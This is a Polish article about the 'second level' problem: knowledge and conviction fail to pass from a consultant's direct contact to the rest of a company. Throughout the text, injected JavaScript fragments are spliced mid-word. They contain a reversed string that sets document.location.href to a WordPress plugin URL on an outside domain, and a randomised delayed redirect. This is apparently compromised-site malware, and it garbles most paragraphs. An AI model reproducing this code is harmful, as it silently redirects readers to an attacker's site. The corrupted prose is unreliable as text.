Konsultant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to osoba, która z założenia wie coś, czego nie wie firma, i ma toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firmie przekazać. Albo też umie coś, czego firmie brakowało, i ma tego firmę nauczyć. Zwykle jednak z tym bywa słabo. Dlaczego jest tak trudno wprowadzić zmiany? Gdyż zawodzi „drugi poziom”.
Uwaga. „sprzedaż rozwiązania”. Czym innym niż konsulting jest sprzedaż go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towego rozwiązania, np. typu systemu IT. Tu wdrożenie jest pełne i rzadko jest problem z przekazaniem osobom drugiego poziomu.
Rozwiązanie problemu rzadko jednak zaczyna się (najczęściej) i kończy na konsultancie. Problem zaczyna się zwykle w firmie, tak samo jak i jego rozwiązanie. Tymczasem wszyscy koncentrują się na problemie, a powinni na wdrożeniu. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jak uczy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doświadczenie, nawet nie na jego pierwszym poziomie, tylko na tym, jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to rozwiązanie zostanie przekazane dalej.
Konsultant przekonuje pierwszy poziom (swój bezpośredni kontakt). Zwykle jednak nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do końca (nie o wszystkim powiedział, nie wszystko zostało zrozumiane) i nie w całości. Część zwykle jest także kontes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towana (przecież osoba „uczona” nie może być taka najgorsza i coś musi od siebie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodać).
Ale pierwszy poziom już nie przekonuje drugiego. Na pewno zaś nie tak skutecznie (choć przecież skuteczność jest właśnie ograniczona). Trochę dlatego, że sam nie jest w pełni przekonany, ale głównie dlatego, że czuje się z tą nową wiedzą niepewnie. Do tego poziom pierwszy nie ma umiejętności konsultanta w przekonywaniu. Nie ma też motywacji (w końcu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie jego rozwiązanie), determinacji i chęci. Ale przede wszystkim nie ma wiedzy.
Przekazywanie wiedzy przez konsultanta.
To wszystko toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotyczy przekazania wiedzy przez konsultanta. Ale przecież między poziomem pierwszym, a drugim następuje ten sam proces niezrozumienia, zniekształcenia, pominięcia.
Co daje głębokie rozumienie konsultanta?
To, że jemu (w małym wymiarze) się uda. A pierwszemu poziomowi już nie. A częs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wręcz pierwszy poziom nawet nie będzie tego próbował.
I tu najczęściej wdrożenie się zatrzymuje. Sam konsultant jest przekonany, jego bezpośredni partner w firmie i adresat jego pracy – częściowo. A toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego nie ma dużej części „ukrytej” wiedzy konsultanta, która wspiera wdrożenie. Choć wcale nie dlatego ukrytej, gdyż tajnej, ale dlatego, że nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopowiedzianej wyraźnie, oczywistej, pominiętej, nietoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dosłyszanej. Tymczasem bez tego 100% przekonania (50% na pewno nie wystarczy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do determinacji) i pełnej wiedzy, samo rozwiązanie nie zostanie już przekazane niżej. Formalnie wprawdzie tak, ale tylko formalnie.
Na wiedzę nakłada się jeszcze determinacja
A z tym jest jeszcze gorzej niż z wiedzą. Sama wiedza, jeśli tylko nie trzeba się przyznawać toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ignorancji, propaguje toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dość łatwo. Jednak już zmiana nawyków, a przede wszystkim gra interesów całkowicie wypacza sens wdrożenia na drugim poziomie.
Podsumowanie
Dlaczego tak trudno wdrożyć w firmie coś nowego, szczególnie przez zewnętrznego konsultanta? Gdyż musi się on zmierzyć nie tylko z problemem (co oczywiste i za toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mu płacą), ale też z co najmniej dwoma poziomami władzy. Każdy z tych poziomów ma własny plan, rzadko zbieżny ze zmianą, a raczej plan, jak zachować wszystko po staremu.